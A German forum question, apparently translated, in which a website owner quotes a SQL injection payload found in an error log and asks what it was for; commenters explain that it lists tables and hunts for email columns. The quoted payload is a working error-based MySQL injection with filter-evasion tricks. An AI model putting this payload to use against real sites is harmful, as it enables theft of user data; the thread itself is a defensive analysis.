Ich habe eine Website. Wenn es Fehler gibt, sende ich eine E-Mail an ein Systemkonto. Ich sehe heute folgendes, von dem ich annehme, dass es das SQL war. Ich werde eine Reparatur machen müssen. Würde jemand wissen, was die Person damit erreichen wollte?Was ist der Zweck dieser Art von SQL-Injektion?
AdID=50427 or 1=(/**/sElEcT 1 /**/fRoM(/**/sElEcT count(*),/**/cOnCaT((/**/sElEcT(/**/sElEcT(/**/sElEcT /**/cOnCaT(0x217e21,t./**/tAbLe_nAmE,0x217e21) /**/fRoM information_schema./**/sChEmAtA as d join information_schema./**/tAbLeS as t on t./**/tAbLe_sChEmA = d./**/sChEmA_NaMe join information_schema./**/cOlUmNs as c on c./**/tAbLe_sChEmA = d./**/sChEmA_NaMe and c./**/tAbLe_nAmE = t./**/tAbLe_nAmE /**/wHeRe not c./**/tAbLe_sChEmA in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c) and d./**/sChEmA_NaMe = /**/dAtAbAsE() and c./**/cOlUmN_NaMe like 0x25656d61696c25 and not t./**/tAbLe_nAmE in(0x42524944455f54424c,0x42524944455f54424c5f505542,0x434f4e54414354,0x434f4e544143545f54424c,0x47524f4f4d5f54424c,0x47524f4f4d5f54424c5f505542,0x4f524445525f54424c,0x7068703132315f75736572735f64656c65746564,0x535542534352494245525f4c495354,0x555345525f44454c45544544,0x555345525f50524f46494c455f44454c45544544) /**/gRoUp/**/bY t./**/tAbLe_nAmE /**/lImIt 11,1)) /**/fRoM information_schema./**/tAbLeS /**/lImIt 0,1),floor(rand(0)*2))x /**/fRoM information_schema./**/tAbLeS /**/gRoUp/**/bY x)a) and 1=1
Es sieht so aus, als wollten sie die Liste der Tabellen abrufen, damit sie weitere Angriffe planen können. –
0x25656d61696c25 ist% email%, also eine Liste von Spalten, die möglicherweise E-Mail-Adressen enthalten; dann können sie sie verkaufen/phishing gehen. –
@GarethLyons Ah, richtig. Ich war eins in meiner Kolumnenzählung, korrigiert in meinem Post jetzt. – RBarryYoung